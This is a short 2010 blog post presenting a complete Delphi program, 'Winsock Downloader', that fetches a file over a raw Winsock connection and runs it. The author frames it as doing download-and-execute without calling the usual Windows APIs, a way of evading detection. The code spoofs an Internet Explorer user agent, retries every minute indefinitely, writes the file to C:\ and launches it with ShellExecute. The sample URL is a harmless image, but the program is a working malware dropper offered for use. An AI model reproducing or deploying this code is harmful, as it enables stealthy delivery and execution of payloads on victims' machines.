Winsock Downloader

posted 1 Sep 2010, 17:37 by Delphi Basics
Winsock Downloader acts out the regular download and execute api's without calling them.

program FileDown;

uses
  Windows, Winsock, ShellApi;

function GetIpFromDns(HostName: string): string;
type
  tAddr = array[0..100] of PInAddr;
  pAddr = ^tAddr;
var
  I: Integer;
  WSA: TWSAData;
  PHE: PHostEnt;
  P: pAddr;
begin
  Result := HostName;
  WSAStartUp($101, WSA);
  try
    PHE := GetHostByName(pChar(HostName));
    if (PHE <> nil) then
    begin
      P := pAddr(PHE^.h_addr_list);
      I := 0;
      while (P^[i] <> nil) do
      begin
        Result := (inet_nToa(P^[i]^));
        Inc(I);
      end;
    end;
  except
  end;
  WSACleanUp;
end;

procedure GetFile(CompleteURL, SaveToDirectory: string; Puerto: Integer = 80);
var
  WSA: TWSAData;
  DownloaderSocket: TSocket;
  DownloaderAddr: TSockAddrIn;
  SendBuffer: string;
  SentBytes: Integer;
  ReceiveBuffer: array[0..4096] of Char;
  ReceivedBytes: Integer;
  WrittenBytes: Dword;
  HeaderPos: integer;
  Header: string;
  GotHeader: Boolean;
  DownloadedFile: THandle;
  DNS, RemoteFilePath, FileName: string;
  i: integer;
begin
  SentBytes := 0;
  GotHeader := False;
  DNS := Copy(CompleteURL, Pos('http://', CompleteURL) + 7, Length(CompleteURL));
  RemoteFilePath := Copy(DNS, Pos('/', DNS), Length(DNS));
  DNS := Copy(DNS, 1, Pos('/', DNS) - 1);
  i := Length(RemoteFilePath);
  while (RemoteFilePath[i] <> '/') do
  begin
    FileName := RemoteFilePath[i] + FileName;
    Dec(i);
  end;
  WSAStartup($101, WSA);
  DownloaderSocket := Socket(AF_INET, SOCK_STREAM, 0);
  DownloaderAddr.sin_family := AF_INET;
  if (Puerto < 1) or (Puerto > 65535) then Puerto := 80;
  DownloaderAddr.sin_port := htons(Puerto);
  DownloaderAddr.sin_addr.S_addr := inet_addr(PChar(GetIPfromDNS(PChar(DNS))));
  repeat
    if Connect(DownloaderSocket, DownloaderAddr, sizeof(DownloaderAddr)) = 0 then
    begin
      SendBuffer := 'GET ' + RemoteFilePath + ' HTTP/1.1' + #13#10 +
        'Accept: */*' + #13#10 +
        'Accept-Language: en-us;q=0.5' + #13#10 +
        'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)' + #13#10 +
        'Host: ' + DNS + #13#10 +
        'Connection: close' + #13#10#13#10;
      repeat
        SentBytes := Send(DownloaderSocket, SendBuffer[1 + SentBytes], Length(SendBuffer) - SentBytes, 0);
      until SentBytes >= Length(SendBuffer);
      DownloadedFile := CreateFile(PChar(SaveToDirectory + FileName), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
      SetFilePointer(DownloadedFile, 0, nil, FILE_END);
      repeat
        ZeroMemory(@ReceiveBuffer, Sizeof(ReceiveBuffer));
        ReceivedBytes := Recv(DownloaderSocket, ReceiveBuffer, Sizeof(ReceiveBuffer), 0);
        if ReceivedBytes > 0 then
        begin
          case GotHeader of
            False:
              begin
                HeaderPos := Pos(#13#10#13#10, string(ReceiveBuffer));
                if HeaderPos > 0 then
                begin
                  WriteFile(DownloadedFile, ReceiveBuffer[HeaderPos + 3], ReceivedBytes - (HeaderPos + 3), WrittenBytes, nil);
                  SetLength(Header, HeaderPos);
                  Move(ReceiveBuffer[0], Header[1], HeaderPos + 3);
                  GotHeader := True;
                end;
              end;
          else
            WriteFile(DownloadedFile, ReceiveBuffer, ReceivedBytes, WrittenBytes, nil);
          end;
        end;
      until (ReceivedBytes <= 0);
      CloseHandle(DownloadedFile);
      CloseSocket(DownloaderSocket);
      Break;
    end;
    Sleep(60000);
  until False;
  WSACleanup();

  ShellExecute(GetForegroundWindow, 'open', PChar(SaveToDirectory + FileName), '', '', SW_SHOWNORMAL);
end;

begin
  GetFile('http://www.google.co.za/intl/en_com/images/srpr/logo1w.png', 'c:\');
end.
Comments